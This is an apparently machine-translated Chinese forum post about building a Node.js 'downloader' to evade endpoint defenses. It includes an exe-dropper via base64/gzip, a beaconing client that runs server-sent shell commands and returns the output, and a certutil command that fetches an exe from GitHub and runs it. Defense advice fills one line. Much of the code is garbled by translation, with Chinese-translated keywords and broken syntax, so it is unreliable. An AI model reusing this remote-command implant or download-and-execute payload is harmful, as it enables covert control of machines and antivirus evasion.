风尘剑心 发布于2022年11月8日 分享 发布于2022年11月8日 0x00 前言 Node.js是一个基于Chrome V8引擎的JavaScript运行环境,采用事件驱动、非阻塞的I/O模型,轻量高效。 最近在一篇文章中学习了使用Node.js绕过主动防御的技巧,于是研究了Node.js的语法,并开放了一个下载器实现代码,分享脚本开发中需要注意的细节。 Node.js绕过主动防御的学习地址: https://bbs.pediy.com/thread-249573.htm 0x01 简介 本文将介绍以下内容: 基本概念 Node.js实现的文件发布 Node.js实现的下载器 利用理念 辩护建议 0x02 基本概念 Node.js同JavaScript的区别 JavaScript是一种语言。 Node.js是基于Chrome V8引擎的JavaScript运行环境。 虽然两者的脚本文件都有后缀。Windows平台下的js,它们在语法上差别很大。 Node.js的使用 官方文件: https://nodejs.org/api/ 中文信息: http://www.runoob.com/nodejs/nodejs-tutorial.html 下载地址: https://nodejs.org/en/download/ 在Windows平台下,Node.js的代码保存在带有。js后缀,并由node.exe加载和执行。 Node.js支持第三方包,模块可以通过npm命令安装。例子如下: 安装web框架模块快速版: npm快速安装 使用快速模块: var express=require(' express '); 注: 本文涉及的所有代码都不使用第三方包,只使用安装包中的node.exe。 0x03 利用Node.js实现的文件释放 实现思路: exe文件存储在base64编码的文件中。当它被释放时,首先被读取和解码,然后被写入文件。 1. 读取文件内容,做base64编码并输出到data.txt function base64_encode(文件){ var fs=require(' fs '); var data=fs . read file sync(file); 返回Buffer.from(数据)。toString(' base64 '); } var base 64 str=base64 _ encode(' test . exe '); console . log(base 64 str); 注: Fs.readFileSync表示同步读取,fs.readFile用于异步读取。 执行: node.js base64encode.js data.txt 2. 读取data.txt中保存的加密字符串,base64解码并生成新的文件test2.exe 函数base64_decode(base64str,file) { var data=Buffer.from(base64str,' base64 '); fs.writeFileSync(文件,数据); } var fs=require(' fs '); var base 64 str=fs . read file sync(' data . txt '); console . log(base 64 str . tostring()); base64 _ decode(base64 str . tostring(),' test2 . exe '); 注: 使用代码varbase 64 str=fs . read file sync(' data . txt ');读取文件后,需要将变量base64str转换为字符串类型,即base64str.toString() 为了减少文件长度,增加了压缩算法gzip。 1. 读取test.exe中的内容,做gzip压缩后保存到文件data.gz 函数gunzip(sourcePath) { var zlib=require(' zlib '); var fs=require(' fs '); var unzip=zlib . creategunzip(); var RS=fs . createreadstream(source path); var ws=fs . createwritestream(' test 2 . exe '); rs.pipe(解压)。管道(ws); } gunzip(' data . gz '); 2. 读取data.gz中的内容,做gzip解压缩后保存到文件test2.exe var zlib=require(' zlib '); var fs=require(' fs '); 函数gunzip(sourcePath) { var unzip=zlib . creategunzip(); var RS=fs . createreadstream(source path); var ws=fs . createwritestream(' test 2 . exe '); rs.pipe(解压)。管道(ws); } gunzip(' data . gz '); 0x04 利用Node.js实现的downloader 实现思路: 1. Server 监听端口,等待客户端连接,记录客户端的IP、连接时间和post数据。 过滤客户端的数据包,向满足条件1的客户端返回控制命令,向满足条件2的客户端显示当前控制台上客户端发送的命令执行结果,否则返回404页。 2. Client 指定服务器以固定格式发送post数据,包括主机名和当前系统的操作系统版本。 接收服务器返回的控制命令,执行后再次将结果发送给服务器。 如果服务器没有响应,请等待一段时间,然后再次发送post请求。 需要考虑以下问题: 1. 通过Node.js执行cmd命令 函数runcmd(命令){ var child process=require(' child _ process '); childprocess.exec(命令,(err,stdout,stderr)={ 如果(错误){ console.error(错误); 返回; } console . log(stdout); }); } run cmd(' whoami '); 2. HTTP通信的实现 服务器: var http=require(' http '); var query string=require(' query string '); http.createServer(function (req,res) { var body=“”; console.log('req.url:',req。网址); req.on('数据,函数(块){ 主体=块 console.log('chunk:',chunk); }); req.on('end ',function () { body=查询字符串。parse(正文); console.log('body:',body); res.write("来自服务器的消息"); RES . end(); }); }).听(3000,' 0 .0 .0 .0 '); 客户: 函数sendHello(主机1,端口1){ var http=require(' http '); var query string=require('查询字符串'); var contents=查询字符串。stringify({ 数据1:“字符串1”, 数据2:“str 2” }); 定义变量选项={ 主机:主机1, 端口:端口1, 路径:"/", 方法:' POST ', 标题:{ content-Type ':' application/x-www-form-urlencoded ', “内容长度”:内容长度 } } console.log('post选项:\n ',选项); console.log('内容:',内容); var req=http.request(options,function(res){ console.log('headers:',RES . headers); var data1= res.on('data ',function(chunk){ 数据1=区块 }); res.on('end ',function(){ console.log('结果:',数据1) }); }); 请求写入(内容); 请求结束 }; sendHello('127.0.0.1 ',' 3000 '); 客户向计算机网络服务器发送邮政数据,内容为数据=str2数据2=str2 计算机网络服务器收到请求后,向客户回复的内容为来自服务器的消息 3. sleep的实现 节点。射流研究…默认不支持睡眠操作,这里可以自己实现: 功能休眠(毫秒){ var开始时间=新日期()。getTime(); 而(新日期()。getTime()开始时间毫秒); } var时间间隔=' 5000 睡眠(时间间隔); 字符串类型转换为数字,可在前面加 4. Client定时循环发送post请求 这里需要考虑异步和同步的问题 节点。射流研究…是异步编程,但客户定时循环发送邮政请求需要使用同步实现,测试代码如下: 服务器: 代码同上 客户: 功能休眠(毫秒){ var开始时间=新日期()。getTime(); 而(新日期()。getTime()开始时间毫秒); } 函数sendHello(主机1,端口1){ var http=require(' http '); var query string=require('查询字符串'); var contents=查询字符串。stringify({ 数据1:“字符串1”, 数据2:“str 2” }); 定义变量选项={ 主机:主机1, 端口:端口1, 路径:"/", 方法:' POST ', 标题:{ content-Type ':' application/x-www-form-urlencoded ', “内容长度”:内容长度 } } console.log('post选项:\n ',选项); console.log('内容:',内容); var req=http.request(options,function(res){ console.log('headers:',RES . headers); var data1= res.on('data ',function(chunk){ 数据1=区块 }); res.on('end ',function(){ console.log('结果:',数据1) }); }); 请求写入(内容); 请求结束 }; 而(真) { 控制台。log(" 1 "); 睡眠(5000); sendHello('127.0.0.1 ',' 3000 '); } 期待的结果: Clinet每隔5秒发送一个邮政请求,接收结果 实际的结果: 每隔5秒执行一次循环,但Clinet没有发出请求 由于我们最初的设想是不使用npm,所以也无法使用异步非同步(异步)模块实现同步 最终,我通过方法嵌套解决了同步问题,示例如下: 功能休眠(毫秒){ var开始时间=新日期()。getTime(); 而(新日期()。getTime()开始时间毫秒); } 函数一个(){ 控制台。日志(' A '); b(); } 函数B(){ 控制台。log(' B '); 睡眠(5000); a(); } a(); 5. Server显示Client的IP 代码如下: 函数getClientIp(req) { 退货请求。标题[' x-forwarded-for ']| | req.connection.remoteAddress || req.socket.remoteAddress || 请求。联系。插座。远程地址; }; 默认为格式为ipv6,例如: *法国法郎:127.0.0.1 可以通过修改听的参数指定为ipv4 修改前:听(3000); 修改后:听(3000,' 0 .0 .0 .0 '); 6. Server判断post请求,不符合要求的回复404 对身体的内容进行判断即可 完整实现代码已开源,地址: https://github.com/3gstudent/NodeJS-Downloader 注: 开源的代码仅仅是一个示例,用作演示NodeJS的功能 用法如下: 需要先获得node.exe,下载地址:https://nodejs.org/en/download/ 1. 编辑文件Server.js 可编译以下内容: 向客户发送的命令:var命令 监听端口:听(80,' 0 . 0 . 0 . 0 '); 2. 启动Server node.exe服务器. js 监听端口,等待客户端连接,记录客户端的IP、连接时间和post数据。 过滤客户端的数据包,向第一个访问客户端返回控制命令,向第二个访问客户端在当前控制台显示客户端发送的命令执行结果,否则返回404页。 3. 编辑文件Client.js 可以编译以下内容: 服务器的Ip:var服务器IP 服务器端口:var serverport 周期时间:可变时间间隔 4. 启动Client node.exe客户端 客户端将连接到服务器,并以固定格式发送post数据,包括主机名和当前系统的操作系统版本。 接下来,接收服务器返回的控制命令,执行后再次将结果发送给服务器。 如果服务器没有响应,请等待一段时间,然后再次发送post请求。 0x05 利用思路 1、开源的代码支持多种payload 例如,有效负载可以设置为下载文件并执行 var command=' certutil-URL cache-split-f https://github.com/3gstudent/test/raw/master/putty.exe c:\ \ a . exec:\ \ a . exe '; 更多下载命令请参考之前的文章《渗透技巧——从github下载文件的多种方法》。 注: 可以使用发送客户端退出的命令: var command=' taskkill/f/im node . exe '; 2、可被第三方可信程序加载 参考: https://bbs.pediy.com/thread-249573.htm t.exe-node.exe-main.js 如图所示: 0x06 防御建议 判断t.exe的子进程(node.exe)的行为,如有可疑行为进行拦截。 0x07 小结 介绍了开发Node.js代码时应该注意的细节,并开源了一个下载器的测试代码来演示Node.js的功能。 本文简要分析了渗透测试中的利用思路,并给出了一些防御建议。 留下回复 链接帖子 意见的链接 分享到其他网站 更多分享选项…
推荐的帖子